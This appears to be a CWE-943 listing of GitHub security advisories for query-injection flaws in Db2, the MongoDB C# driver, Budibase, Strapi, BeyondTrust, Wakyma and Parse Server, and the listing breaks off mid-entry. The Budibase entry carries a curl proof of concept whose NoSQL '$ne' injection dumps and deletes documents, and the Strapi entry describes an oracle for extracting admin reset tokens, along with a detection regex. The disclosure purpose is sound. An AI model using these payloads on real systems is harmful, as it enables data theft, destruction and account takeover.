CWE-943
Allowed-with-ReviewImproper Neutralization of Special Elements in Data Query Logic
Abstraction: Class · Status: Incomplete
The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.
158 vulnerabilities reference this CWE, most recent first.
GHSA-QRW6-CMHG-G5P6
Vulnerability from github – Published: 2024-08-14 18:32 – Updated: 2025-11-04 18:31IBM Db2 for Linux, UNIX and Windows (includes DB2 Connect Server) federated server 10.5, 11.1, and 11.5 is vulnerable to denial of service with a specially crafted query under certain conditions. IBM X-Force ID: 291307.
{
"affected": [],
"aliases": [
"CVE-2024-35136"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-14T18:15:11Z",
"severity": "MODERATE"
},
"details": "IBM Db2 for Linux, UNIX and Windows (includes DB2 Connect Server) federated server 10.5, 11.1, and 11.5 is vulnerable to denial of service with a specially crafted query under certain conditions. IBM X-Force ID: 291307.",
"id": "GHSA-qrw6-cmhg-g5p6",
"modified": "2025-11-04T18:31:17Z",
"published": "2024-08-14T18:32:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35136"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/291307"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240912-0003"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7165341"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QVHJ-5652-CJRG
Vulnerability from github – Published: 2026-08-27 21:31 – Updated: 2026-08-28 00:31A NoSQL/expression injection weakness exists in the LINQ-to-aggregation query translation layer of the MongoDB C# Driver, in both aggregation expression and query filter translation. When application-supplied values are embedded in certain query constructs, special elements contained within those values are not properly escaped before the resulting query is transmitted to the database, so portions of the value may be interpreted by the database as query logic rather than as data. A user able to supply values that an application incorporates into an affected query may thereby cause unintended data to be returned or query results to be altered.
{
"affected": [],
"aliases": [
"CVE-2026-81527"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-27T20:18:51Z",
"severity": "MODERATE"
},
"details": "A NoSQL/expression injection weakness exists in the LINQ-to-aggregation query translation layer of the MongoDB C# Driver, in both aggregation expression and query filter translation. When application-supplied values are embedded in certain query constructs, special elements contained within those values are not properly escaped before the resulting query is transmitted to the database, so portions of the value may be interpreted by the database as query logic rather than as data. A user able to supply values that an application incorporates into an affected query may thereby cause unintended data to be returned or query results to be altered.",
"id": "GHSA-qvhj-5652-cjrg",
"modified": "2026-08-28T00:31:59Z",
"published": "2026-08-27T21:31:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81527"
},
{
"type": "WEB",
"url": "https://jira.mongodb.org/browse/CSHARP-6156"
},
{
"type": "WEB",
"url": "https://www.nuget.org/packages/MongoDB.Driver/3.11.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-QW6M-8FW2-2V64
Vulnerability from github – Published: 2026-07-24 21:25 – Updated: 2026-07-24 21:25Summary
Budibase's MongoDB query execution endpoint (POST /api/v2/queries/:queryId) is vulnerable to NoSQL injection through user-supplied query parameters. The enrichContext() function interpolates parameter values into JSON query templates using Handlebars with noEscaping: true, then parses the result with JSON.parse(). An attacker can inject JSON metacharacters (", {, }) into parameter values to alter the structure of MongoDB queries, bypassing intended filters to read, modify, or delete arbitrary documents.
Details
The vulnerability exists because input validation and interpolation are misaligned. The validateQueryInputs() function blocks Handlebars template syntax ({{}}) but does not sanitize JSON structural characters:
packages/server/src/api/controllers/query/index.ts:57-69
function validateQueryInputs(parameters: QueryEventParameters) {
for (let entry of Object.entries(parameters)) {
const [key, value] = entry
if (typeof value !== "string") {
continue
}
if (findHBSBlocks(value).length !== 0) {
throw new Error(
`Parameter '${key}' input contains a handlebars binding - this is not allowed.`
)
}
}
}
After validation passes, enrichContext() performs raw string interpolation with escaping explicitly disabled:
packages/server/src/sdk/workspace/queries/queries.ts:105-108
enrichedQuery[key] = processStringSync(fields[key], parameters, {
noEscaping: true,
noHelpers: true,
escapeNewlines: true,
})
The interpolated string is then parsed as JSON at line 122:
packages/server/src/sdk/workspace/queries/queries.ts:122
enrichedQuery.json = JSON.parse(
enrichedQuery.json ||
enrichedQuery.customData ||
enrichedQuery.requestBody
)
The parsed object flows directly into MongoDB driver calls with no further sanitization:
packages/server/src/integrations/mongodb.ts:509
return await collection.find(json).toArray()
packages/server/src/integrations/mongodb.ts:624
return await collection.deleteMany(json.filter, json.options)
Consider a saved query with a JSON template like {"username": "{{username}}"}. If an attacker provides the parameter value ", "$ne": " the interpolated string becomes {"username": "", "$ne": ""} — a valid JSON object that matches all documents where username is not empty, instead of matching a single specific user.
The route requires only PermissionType.QUERY, PermissionLevel.WRITE (packages/server/src/api/routes/query.ts:27), which is available to regular app users — not restricted to builders or admins. Critically, the execute endpoint has no Joi schema validation on the request body, unlike the save and preview endpoints.
PoC
Prerequisites: A Budibase instance with a MongoDB datasource and a saved query that accepts a parameter interpolated into the query JSON (e.g., a find query with {"username": "{{username}}"}).
Step 1: Authenticate as a regular app user
TOKEN=$(curl -s -X POST http://localhost:10000/api/global/auth \
-H "Content-Type: application/json" \
-d '{"username":"appuser@example.com","password":"password"}' \
-c - | grep budibase:auth | awk '{print $NF}')
Step 2: Execute the query normally (returns only matching document)
curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \
-H "Content-Type: application/json" \
-b "budibase:auth=$TOKEN" \
-d '{"parameters": {"username": "alice"}}'
# Returns: [{"username": "alice", ...}]
Step 3: Inject NoSQL operator to dump all documents
curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \
-H "Content-Type: application/json" \
-b "budibase:auth=$TOKEN" \
-d '{"parameters": {"username": "\", \"$ne\": \""}}'
# Returns: [{"username": "alice", ...}, {"username": "bob", ...}, {"username": "admin", ...}, ...]
The injected value ", "$ne": " transforms the query from {"username": "alice"} to {"username": "", "$ne": ""}, which matches all documents where username is not empty.
Step 4: Delete all documents via a delete query (if a delete-type query is saved)
curl -s -X POST http://localhost:10000/api/v2/queries/query_del456 \
-H "Content-Type: application/json" \
-b "budibase:auth=$TOKEN" \
-d '{"parameters": {"username": "\", \"$ne\": \""}}'
# Deletes ALL documents matching the injected filter
Impact
- Data exfiltration: Any app user with query write permission can bypass intended query filters to read all documents in a MongoDB collection, including sensitive data belonging to other users or tenants.
- Data modification: Through
updateManyqueries, attackers can modify arbitrary documents in bulk by injecting broadened filters. - Data destruction: Through
deleteManyqueries, attackers can delete all documents matching an injected filter, potentially wiping entire collections. - Authorization bypass: The attack requires only
QUERY WRITEpermission, which is a standard app-level permission — not builder or admin access. This means any regular application user can exploit saved MongoDB queries they have access to execute.
Recommended Fix
Sanitize parameter values before interpolation by escaping JSON metacharacters. Apply this in enrichContext() before the processStringSync call:
packages/server/src/sdk/workspace/queries/queries.ts
// Add this helper function
function escapeJsonValue(value: string): string {
return value.replace(/\\/g, "\\\\").replace(/"/g, '\\"')
}
// In enrichContext(), sanitize parameters before interpolation
for (const [key, value] of Object.entries(parameters)) {
if (typeof value === "string") {
parameters[key] = escapeJsonValue(value)
}
}
Alternatively, adopt a parameterized query approach: instead of string interpolation into JSON, parse the template JSON first and then inject parameter values into the parsed object at the value level, preventing any structural modification of the query.
Additionally, add Joi validation to the execute endpoint (POST /api/v2/queries/:queryId) to constrain the shape of incoming parameter values, consistent with the validation already present on the save and preview endpoints.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@budibase/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.38.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T21:25:51Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nBudibase\u0027s MongoDB query execution endpoint (`POST /api/v2/queries/:queryId`) is vulnerable to NoSQL injection through user-supplied query parameters. The `enrichContext()` function interpolates parameter values into JSON query templates using Handlebars with `noEscaping: true`, then parses the result with `JSON.parse()`. An attacker can inject JSON metacharacters (`\"`, `{`, `}`) into parameter values to alter the structure of MongoDB queries, bypassing intended filters to read, modify, or delete arbitrary documents.\n\n## Details\n\nThe vulnerability exists because input validation and interpolation are misaligned. The `validateQueryInputs()` function blocks Handlebars template syntax (`{{}}`) but does not sanitize JSON structural characters:\n\n**packages/server/src/api/controllers/query/index.ts:57-69**\n```typescript\nfunction validateQueryInputs(parameters: QueryEventParameters) {\n for (let entry of Object.entries(parameters)) {\n const [key, value] = entry\n if (typeof value !== \"string\") {\n continue\n }\n if (findHBSBlocks(value).length !== 0) {\n throw new Error(\n `Parameter \u0027${key}\u0027 input contains a handlebars binding - this is not allowed.`\n )\n }\n }\n}\n```\n\nAfter validation passes, `enrichContext()` performs raw string interpolation with escaping explicitly disabled:\n\n**packages/server/src/sdk/workspace/queries/queries.ts:105-108**\n```typescript\nenrichedQuery[key] = processStringSync(fields[key], parameters, {\n noEscaping: true,\n noHelpers: true,\n escapeNewlines: true,\n})\n```\n\nThe interpolated string is then parsed as JSON at line 122:\n\n**packages/server/src/sdk/workspace/queries/queries.ts:122**\n```typescript\nenrichedQuery.json = JSON.parse(\n enrichedQuery.json ||\n enrichedQuery.customData ||\n enrichedQuery.requestBody\n)\n```\n\nThe parsed object flows directly into MongoDB driver calls with no further sanitization:\n\n**packages/server/src/integrations/mongodb.ts:509**\n```typescript\nreturn await collection.find(json).toArray()\n```\n\n**packages/server/src/integrations/mongodb.ts:624**\n```typescript\nreturn await collection.deleteMany(json.filter, json.options)\n```\n\nConsider a saved query with a JSON template like `{\"username\": \"{{username}}\"}`. If an attacker provides the parameter value `\", \"$ne\": \"` the interpolated string becomes `{\"username\": \"\", \"$ne\": \"\"}` \u2014 a valid JSON object that matches all documents where `username` is not empty, instead of matching a single specific user.\n\nThe route requires only `PermissionType.QUERY, PermissionLevel.WRITE` (packages/server/src/api/routes/query.ts:27), which is available to regular app users \u2014 not restricted to builders or admins. Critically, the execute endpoint has no Joi schema validation on the request body, unlike the save and preview endpoints.\n\n## PoC\n\n**Prerequisites:** A Budibase instance with a MongoDB datasource and a saved query that accepts a parameter interpolated into the query JSON (e.g., a `find` query with `{\"username\": \"{{username}}\"}`).\n\n**Step 1: Authenticate as a regular app user**\n```bash\nTOKEN=$(curl -s -X POST http://localhost:10000/api/global/auth \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"appuser@example.com\",\"password\":\"password\"}\u0027 \\\n -c - | grep budibase:auth | awk \u0027{print $NF}\u0027)\n```\n\n**Step 2: Execute the query normally (returns only matching document)**\n```bash\ncurl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \\\n -H \"Content-Type: application/json\" \\\n -b \"budibase:auth=$TOKEN\" \\\n -d \u0027{\"parameters\": {\"username\": \"alice\"}}\u0027\n# Returns: [{\"username\": \"alice\", ...}]\n```\n\n**Step 3: Inject NoSQL operator to dump all documents**\n```bash\ncurl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \\\n -H \"Content-Type: application/json\" \\\n -b \"budibase:auth=$TOKEN\" \\\n -d \u0027{\"parameters\": {\"username\": \"\\\", \\\"$ne\\\": \\\"\"}}\u0027\n# Returns: [{\"username\": \"alice\", ...}, {\"username\": \"bob\", ...}, {\"username\": \"admin\", ...}, ...]\n```\n\nThe injected value `\", \"$ne\": \"` transforms the query from `{\"username\": \"alice\"}` to `{\"username\": \"\", \"$ne\": \"\"}`, which matches all documents where username is not empty.\n\n**Step 4: Delete all documents via a delete query (if a delete-type query is saved)**\n```bash\ncurl -s -X POST http://localhost:10000/api/v2/queries/query_del456 \\\n -H \"Content-Type: application/json\" \\\n -b \"budibase:auth=$TOKEN\" \\\n -d \u0027{\"parameters\": {\"username\": \"\\\", \\\"$ne\\\": \\\"\"}}\u0027\n# Deletes ALL documents matching the injected filter\n```\n\n## Impact\n\n- **Data exfiltration:** Any app user with query write permission can bypass intended query filters to read all documents in a MongoDB collection, including sensitive data belonging to other users or tenants.\n- **Data modification:** Through `updateMany` queries, attackers can modify arbitrary documents in bulk by injecting broadened filters.\n- **Data destruction:** Through `deleteMany` queries, attackers can delete all documents matching an injected filter, potentially wiping entire collections.\n- **Authorization bypass:** The attack requires only `QUERY WRITE` permission, which is a standard app-level permission \u2014 not builder or admin access. This means any regular application user can exploit saved MongoDB queries they have access to execute.\n\n## Recommended Fix\n\nSanitize parameter values before interpolation by escaping JSON metacharacters. Apply this in `enrichContext()` before the `processStringSync` call:\n\n**packages/server/src/sdk/workspace/queries/queries.ts**\n```typescript\n// Add this helper function\nfunction escapeJsonValue(value: string): string {\n return value.replace(/\\\\/g, \"\\\\\\\\\").replace(/\"/g, \u0027\\\\\"\u0027)\n}\n\n// In enrichContext(), sanitize parameters before interpolation\nfor (const [key, value] of Object.entries(parameters)) {\n if (typeof value === \"string\") {\n parameters[key] = escapeJsonValue(value)\n }\n}\n```\n\nAlternatively, adopt a parameterized query approach: instead of string interpolation into JSON, parse the template JSON first and then inject parameter values into the parsed object at the value level, preventing any structural modification of the query.\n\nAdditionally, add Joi validation to the execute endpoint (`POST /api/v2/queries/:queryId`) to constrain the shape of incoming parameter values, consistent with the validation already present on the save and preview endpoints.",
"id": "GHSA-qw6m-8fw2-2v64",
"modified": "2026-07-24T21:25:51Z",
"published": "2026-07-24T21:25:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-qw6m-8fw2-2v64"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/pull/18907"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/commit/2d6c1d17cff8a653adbb2f9003eda9de38c7670f"
},
{
"type": "PACKAGE",
"url": "https://github.com/Budibase/budibase"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/releases/tag/3.39.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": " Budibase: NoSQL Injection via JSON Parameter Interpolation in MongoDB Query Execution"
}
GHSA-RC2J-XVRX-6GQJ
Vulnerability from github – Published: 2022-05-13 01:14 – Updated: 2025-04-20 03:43Improper Neutralization of Special Elements used in an OS Command in bookmarking function of Newsbeuter versions 0.7 through 2.9 allows remote attackers to perform user-assisted code execution by crafting an RSS item that includes shell code in its title and/or URL.
{
"affected": [],
"aliases": [
"CVE-2017-12904"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-23T14:29:00Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Special Elements used in an OS Command in bookmarking function of Newsbeuter versions 0.7 through 2.9 allows remote attackers to perform user-assisted code execution by crafting an RSS item that includes shell code in its title and/or URL.",
"id": "GHSA-rc2j-xvrx-6gqj",
"modified": "2025-04-20T03:43:45Z",
"published": "2022-05-13T01:14:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12904"
},
{
"type": "WEB",
"url": "https://github.com/akrennmair/newsbeuter/issues/591"
},
{
"type": "WEB",
"url": "https://github.com/akrennmair/newsbeuter/commit/96e9506ae9e252c548665152d1b8968297128307"
},
{
"type": "WEB",
"url": "https://groups.google.com/forum/#!topic/newsbeuter/iFqSE7Vz-DE"
},
{
"type": "WEB",
"url": "https://groups.google.com/forum/#%21topic/newsbeuter/iFqSE7Vz-DE"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4585-1"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2017/dsa-3947"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RJG2-95X7-8QMX
Vulnerability from github – Published: 2026-05-14 13:17 – Updated: 2026-05-15 23:44Summary of CVE-2026-27886 Vulnerability Details
- CVE: CVE-2026-27886
- CVSS v3.1 Vector:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N(9.3 — Critical) - Affected Versions:
@strapi/strapi<=5.36.1 - How to Patch: Immediately update your Strapi to >=5.37.0
Description of CVE-2026-27886
Strapi versions prior to 5.37.0 did not sufficiently sanitize query parameters when filtering content via relational fields. An unauthenticated attacker could use the where query parameter on any publicly-accessible content-type with an updatedBy (or other admin-relation) field to perform a boolean-oracle attack against private fields on the joined admin_users table, including the resetPasswordToken field. Extracting an admin reset token via this oracle made full administrative account takeover possible without authentication.
When a filter such as where[updatedBy][resetPasswordToken][$startsWith]=a was applied to a public Content API endpoint, the underlying query generation performed a LEFT JOIN against the admin_users table and emitted a WHERE clause referencing the joined column. The query parameter sanitization layer did not block operator chains that traversed into relational target schemas the caller had no read permission on, allowing the response count to be used as a one-bit oracle on any admin-table field.
The patch introduces explicit query-parameter sanitization at the controller and service boundary via three new primitives: strictParam, addQueryParams, and addBodyParams. Operator chains that traverse into restricted relational targets are now rejected before reaching the database.
IoC's for CVE-2026-27886
Indicators that an instance running an unpatched version may have been exploited:
- Server access logs containing query strings traversing into admin-relation private fields. Regex:
\?(.*&)?where\[(updatedBy|createdBy|publishedBy)\]\[(email|password|resetPasswordToken|confirmationToken|firstname|lastname|preferedLanguage)\]\[\$(startsWith|contains|eq|gt|lt|ge|le|in|notIn|notNull|null)\]= - High volume of public Content API requests from a single IP iterating through a hex alphabet (
0-9,a-f) on the same content-type endpoint with progressively-longer filter values - Subsequent
POST /admin/reset-passwordcalls using a reset token that the legitimate admin did not request - Successful admin password change immediately following a burst of public Content API requests with
where[updatedBy]query parameters - Sustained burst of identical-shape requests with only the trailing character of the filter value varying
Credit
Discovered by: James Doll - WildWest CyberSecurity Contact: cve+2026-27886@wildwestcyber.com Website: https://wildwestcyber.com LinkedIn: https://www.linkedin.com/in/james-doll-273a61243
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@strapi/strapi"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.37.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27886"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-22",
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T13:17:58Z",
"nvd_published_at": "2026-05-14T19:16:31Z",
"severity": "CRITICAL"
},
"details": "### Summary of CVE-2026-27886 Vulnerability Details\n\n- CVE: CVE-2026-27886\n- CVSS v3.1 Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N` (9.3 \u2014 Critical)\n- Affected Versions: `@strapi/strapi` \u003c=5.36.1\n- How to Patch: Immediately update your Strapi to \u003e=5.37.0\n\n### Description of CVE-2026-27886\n\nStrapi versions prior to 5.37.0 did not sufficiently sanitize query parameters when filtering content via relational fields. An unauthenticated attacker could use the `where` query parameter on any publicly-accessible content-type with an `updatedBy` (or other admin-relation) field to perform a boolean-oracle attack against private fields on the joined `admin_users` table, including the `resetPasswordToken` field. Extracting an admin reset token via this oracle made full administrative account takeover possible without authentication.\n\nWhen a filter such as `where[updatedBy][resetPasswordToken][$startsWith]=a` was applied to a public Content API endpoint, the underlying query generation performed a `LEFT JOIN` against the `admin_users` table and emitted a `WHERE` clause referencing the joined column. The query parameter sanitization layer did not block operator chains that traversed into relational target schemas the caller had no read permission on, allowing the response count to be used as a one-bit oracle on any admin-table field.\n\nThe patch introduces explicit query-parameter sanitization at the controller and service boundary via three new primitives: `strictParam`, `addQueryParams`, and `addBodyParams`. Operator chains that traverse into restricted relational targets are now rejected before reaching the database.\n\n### IoC\u0027s for CVE-2026-27886\n\nIndicators that an instance running an unpatched version may have been exploited:\n\n- Server access logs containing query strings traversing into admin-relation private fields. Regex: `\\?(.*\u0026)?where\\[(updatedBy|createdBy|publishedBy)\\]\\[(email|password|resetPasswordToken|confirmationToken|firstname|lastname|preferedLanguage)\\]\\[\\$(startsWith|contains|eq|gt|lt|ge|le|in|notIn|notNull|null)\\]=`\n- High volume of public Content API requests from a single IP iterating through a hex alphabet (`0`-`9`, `a`-`f`) on the same content-type endpoint with progressively-longer filter values\n- Subsequent `POST /admin/reset-password` calls using a reset token that the legitimate admin did not request\n- Successful admin password change immediately following a burst of public Content API requests with `where[updatedBy]` query parameters\n- Sustained burst of identical-shape requests with only the trailing character of the filter value varying\n\n### Credit\nDiscovered by: James Doll - WildWest CyberSecurity\nContact: cve+2026-27886@wildwestcyber.com\nWebsite: https://wildwestcyber.com\nLinkedIn: https://www.linkedin.com/in/james-doll-273a61243",
"id": "GHSA-rjg2-95x7-8qmx",
"modified": "2026-05-15T23:44:50Z",
"published": "2026-05-14T13:17:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/strapi/strapi/security/advisories/GHSA-rjg2-95x7-8qmx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27886"
},
{
"type": "PACKAGE",
"url": "https://github.com/strapi/strapi"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Strapi may leak sensitive data via relational filtering due to lack of query sanitization"
}
GHSA-RM86-2RM3-62G8
Vulnerability from github – Published: 2025-07-29 21:30 – Updated: 2025-07-29 21:30IBM Db2 for Linux 12.1.0, 12.1.1, and 12.1.2
is vulnerable to denial of service with a specially crafted query under certain non-default conditions.
{
"affected": [],
"aliases": [
"CVE-2025-33114"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-29T19:15:45Z",
"severity": "MODERATE"
},
"details": "IBM Db2 for Linux 12.1.0, 12.1.1, and 12.1.2 \n\n\n\nis vulnerable to denial of service with a specially crafted query under certain non-default conditions.",
"id": "GHSA-rm86-2rm3-62g8",
"modified": "2025-07-29T21:30:44Z",
"published": "2025-07-29T21:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33114"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7240943"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RQXQ-F5CC-3XP6
Vulnerability from github – Published: 2026-08-13 12:31 – Updated: 2026-08-13 12:31Budibase before 3.40.0 contains a NoSQL injection vulnerability in the MongoDB datasource integration where user-supplied parameters are enriched with handlebars using noEscaping: true and parsed without operator filtering. Attackers can inject MongoDB operators through query parameters to bypass per-user access controls, read arbitrary documents, execute JavaScript via $where operators, or modify collections through update and delete operations.
{
"affected": [],
"aliases": [
"CVE-2026-73617"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-13T12:17:26Z",
"severity": "HIGH"
},
"details": "Budibase before 3.40.0 contains a NoSQL injection vulnerability in the MongoDB datasource integration where user-supplied parameters are enriched with handlebars using noEscaping: true and parsed without operator filtering. Attackers can inject MongoDB operators through query parameters to bypass per-user access controls, read arbitrary documents, execute JavaScript via $where operators, or modify collections through update and delete operations.",
"id": "GHSA-rqxq-f5cc-3xp6",
"modified": "2026-08-13T12:31:11Z",
"published": "2026-08-13T12:31:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-pmpg-2mxq-6xwr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73617"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/budibase-before-nosql-injection-via-mongodb-datasource"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-V5XX-3HCF-FM67
Vulnerability from github – Published: 2026-07-06 18:31 – Updated: 2026-07-07 21:31A high-severity vulnerability exists in a web application component of BeyondTrust Remote Support and Privileged Remote Access related to the processing of certain input parameters. Insufficient validation of user-supplied input may allow an authenticated attacker with limited privileges to access unintended resources or data beyond their authorization scope. Exploitation is restricted to accounts with specific permissions.
{
"affected": [],
"aliases": [
"CVE-2026-40141"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-06T17:16:31Z",
"severity": "HIGH"
},
"details": "A high-severity vulnerability exists in a web application component of BeyondTrust Remote Support and Privileged Remote Access related to the processing of certain input parameters.\u00a0Insufficient validation of user-supplied input may allow an authenticated attacker with limited privileges to access unintended resources or data beyond their authorization scope. Exploitation is restricted to accounts with specific permissions.",
"id": "GHSA-v5xx-3hcf-fm67",
"modified": "2026-07-07T21:31:30Z",
"published": "2026-07-06T18:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40141"
},
{
"type": "WEB",
"url": "https://www.beyondtrust.com/trust-center/security-advisories/bt26-03"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VFQ7-RGVH-5GCX
Vulnerability from github – Published: 2026-03-16 15:30 – Updated: 2026-03-19 21:30Non-relational SQL injection vulnerability (NoSQLi) in the Wakyma web application, specifically in the endpoint 'vets.wakyma.com/hospitalization/generate-hospitalization-summary'. This vulnerability could allow an authenticated user to alter a POST request to the affected endpoint for the purpose of injecting special NoSQL commands, resulting in the attacker being able to obtain customer reports.
{
"affected": [],
"aliases": [
"CVE-2026-3022"
],
"database_specific": {
"cwe_ids": [
"CWE-89",
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-16T14:19:45Z",
"severity": "HIGH"
},
"details": "Non-relational SQL injection vulnerability (NoSQLi) in the Wakyma web application, specifically in the endpoint \u0027vets.wakyma.com/hospitalization/generate-hospitalization-summary\u0027. This vulnerability could allow an authenticated user to alter a POST request to the affected endpoint for the purpose of injecting special NoSQL commands, resulting in the attacker being able to obtain customer reports.",
"id": "GHSA-vfq7-rgvh-5gcx",
"modified": "2026-03-19T21:30:20Z",
"published": "2026-03-16T15:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3022"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-wakyma-application-web"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VGJH-HMWF-C588
Vulnerability from github – Published: 2026-03-11 00:16 – Updated: 2026-03-11 00:16Impact
A NoSQL injection vulnerability allows an unauthenticated attacker to inject MongoDB query operators via the token field in the password reset and email verification resend endpoints. The token value is passed to database queries without type validation and can be used to extract password reset and email verification tokens.
Any Parse Server deployment using MongoDB with email verification or password reset enabled is affected. When emailVerifyTokenReuseIfValid is configured, the email verification token can be fully extracted and used to verify a user's email address without inbox access.
Patches
Patches
